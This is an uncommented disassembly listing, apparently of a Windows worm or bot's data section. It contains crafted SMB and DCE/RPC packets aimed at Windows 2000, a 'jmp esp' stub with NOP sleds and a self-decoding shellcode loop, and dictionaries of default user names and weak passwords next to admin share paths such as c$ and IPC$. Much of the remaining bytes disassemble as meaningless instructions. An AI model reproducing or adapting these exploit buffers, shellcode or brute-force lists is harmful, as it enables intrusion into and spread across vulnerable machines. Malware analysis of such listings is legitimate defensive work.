dword_41A818	dd 10005h, 2 dup(0)	; DATA XREF: sub_410649+1ADo
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0			; DATA XREF: sub_410649+475o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_41A894:				; DATA XREF: sub_410649+153o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h


loc_41A8A0:				; DATA XREF: sub_410649+E5o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_41A8AC:				; DATA XREF: sub_410649+202o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		jmp	short loc_41A8C9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_41A8B4:				; DATA XREF: sub_410649+2DBo
		jmp	short near ptr word_41A8BA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_41A8BA	dw 0			; CODE XREF: .data:loc_41A8B4j
; ---------------------------------------------------------------------------


loc_41A8BC:				; DATA XREF: sub_410649+330o
		jmp	short near ptr word_41A8C2
; ---------------------------------------------------------------------------


loc_41A8BE:				; CODE XREF: .data:loc_41A8ACj
					; .data:loc_41A8DCj
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41A8C2	dw 0			; CODE XREF: .data:loc_41A8BCj
; ---------------------------------------------------------------------------


loc_41A8C4:				; CODE XREF: .data:loc_41A8BEj
					; DATA XREF: sub_410649+385o
		jmp	short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_41A8C9:				; CODE XREF: .data:0041A8AEj
					; .data:loc_41A8C4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h		; DATA XREF: sub_410649+25Ao
; ---------------------------------------------------------------------------


loc_41A8DC:				; DATA XREF: sub_410649+286o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_41A8E0:				; DATA XREF: sub_410649+22Eo
		lahf
		jnz	short loc_41A8FB


loc_41A8E3:				; DATA XREF: sub_410649+13Do
		add	[ecx+1Ch], bl


loc_41A8E6:				; CODE XREF: .data:loc_41A8F0j
		add	[ecx], al


loc_41A8E8:				; DATA XREF: sub_410649+111o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_41A8EC:				; DATA XREF: sub_410649+127o
		jmp	short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
		align 10h


loc_41A8F0:				; DATA XREF: sub_410649+FBo
		jmp	short loc_41A8E6
; ---------------------------------------------------------------------------
		align 4
dword_41A8F4	dd 85000000h		; CODE XREF: .data:loc_41A8ECj
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_41A8FB:				; CODE XREF: .data:0041A8E1j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		sub	sp, 71Ch
		jmp	esp
; ---------------------------------------------------------------------------
		align 4
		dd 1004600h, 7515123Ch,	751C123Ch, 42B68ABAh, 42D01E50h
		dd 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
		dd 34EEA51Bh, 0
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0			; DATA XREF: sub_410B52+2C7o
		dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0			; DATA XREF: sub_410B52+3DEo
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0		; DATA XREF: sub_410B52+285o
					; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0		; DATA XREF: sub_410B52+26Fo
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		align 10h
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B852
; ---------------------------------------------------------------------------


loc_41B84A:				; CODE XREF: .data:0041B840j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B852:				; CODE XREF: .data:0041B848j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B8A1
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B8A1:				; CODE XREF: .data:0041B897j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B986
; ---------------------------------------------------------------------------


loc_41B97E:				; CODE XREF: .data:0041B974j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B986:				; CODE XREF: .data:0041B97Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41B9F6
		add	[ecx], eax
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_41B9C6:				; CODE XREF: .data:0041B9BCj
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B9D5
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B9D5:				; CODE XREF: .data:0041B9CBj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 7E0h, 4, 0
		db 2 dup(0)
word_41B9F6	dw 0			; CODE XREF: .data:0041B9B8j
		dd 0D0EC8166h, 7, 129F74h, 0
		dd 127D78h, 0
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_41BA16

; =============== S U B	R O U T	I N E =======================================



sub_41BA13	proc near		; CODE XREF: .data:loc_41BA16p
		pop	ebx
		push	ebx
		retn
sub_41BA13	endp

; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: .data:0041BA11j
		call	sub_41BA13
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_41BA23:				; CODE XREF: .data:0041BA4Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_41BA23
		popa
		add	[ebx+31h], al
		mov	ebp, 7FC77h
		add	[ecx], al
		inc	ebx


loc_41BA5A:				; CODE XREF: .data:0041BA5Cj
		xor	eax, eax
		ja	short loc_41BA5A
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0			; DATA XREF: sub_410F60+A3r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-7FFFBE3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[ebx+eax*8+41h], ah
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[ebx+eax*8+41h], dl
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC		; "c$"
		dd offset aD		; "d$"
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ecx
		add	al, dl
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aDShared	; "d$\\shared"
; ---------------------------------------------------------------------------
		mov	eax, 0AC0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		mov	al, ds:8C0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
		push	600041C2h
		retn	41h
; ---------------------------------------------------------------------------
		xor	dl, al
		inc	ecx
		add	[eax], ch
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DE30
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
		aam	0C4h
		inc	ecx
		add	al, cl
		les	eax, [ecx+0]
		rol	ah, 41h
		add	[eax-4BFFBE3Ch], bh
		les	eax, [ecx+0]
		sbb	al, 0C2h
		inc	ecx
		add	[eax], bl
		retn	41h
; ---------------------------------------------------------------------------
		adc	al, 0C2h
		inc	ecx
		add	[eax], cl
		retn	41h
; ---------------------------------------------------------------------------
		cld
		rol	dword ptr [ecx+0], 0F4h
		rol	dword ptr [ecx+0], 0F0h
		rol	dword ptr [ecx+0], 0E4h
		rol	dword ptr [ecx+0], 0DCh
		rol	dword ptr [ecx+0], 0D8h
		rol	dword ptr [ecx+0], 0D4h
		rol	dword ptr [ecx+0], 0D0h
		rol	dword ptr [ecx+0], 0CCh
		rol	dword ptr [ecx+0], 0C8h
		rol	dword ptr [ecx+0], 0C0h
		rol	dword ptr [ecx+0], 0B8h
		rol	dword ptr [ecx+0], 0B0h
		rol	dword ptr [ecx+0], 0A8h
		rol	dword ptr [ecx+0], 9Ch
		rol	dword ptr [ecx+0], 90h
		rol	dword ptr [ecx+0], 84h
		rol	dword ptr [ecx+0], 7Ch
		rol	dword ptr [ecx+0], 70h
		rol	dword ptr [ecx+0], 68h
		rol	dword ptr [ecx+0], 60h
		rol	dword ptr [ecx+0], 50h
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], bl
		inc	ecx
		add	[eax+44004198h], dl
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], dl
		inc	ecx
		add	[eax-3Fh], cl
		inc	ecx
		add	[eax-3Fh], al
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
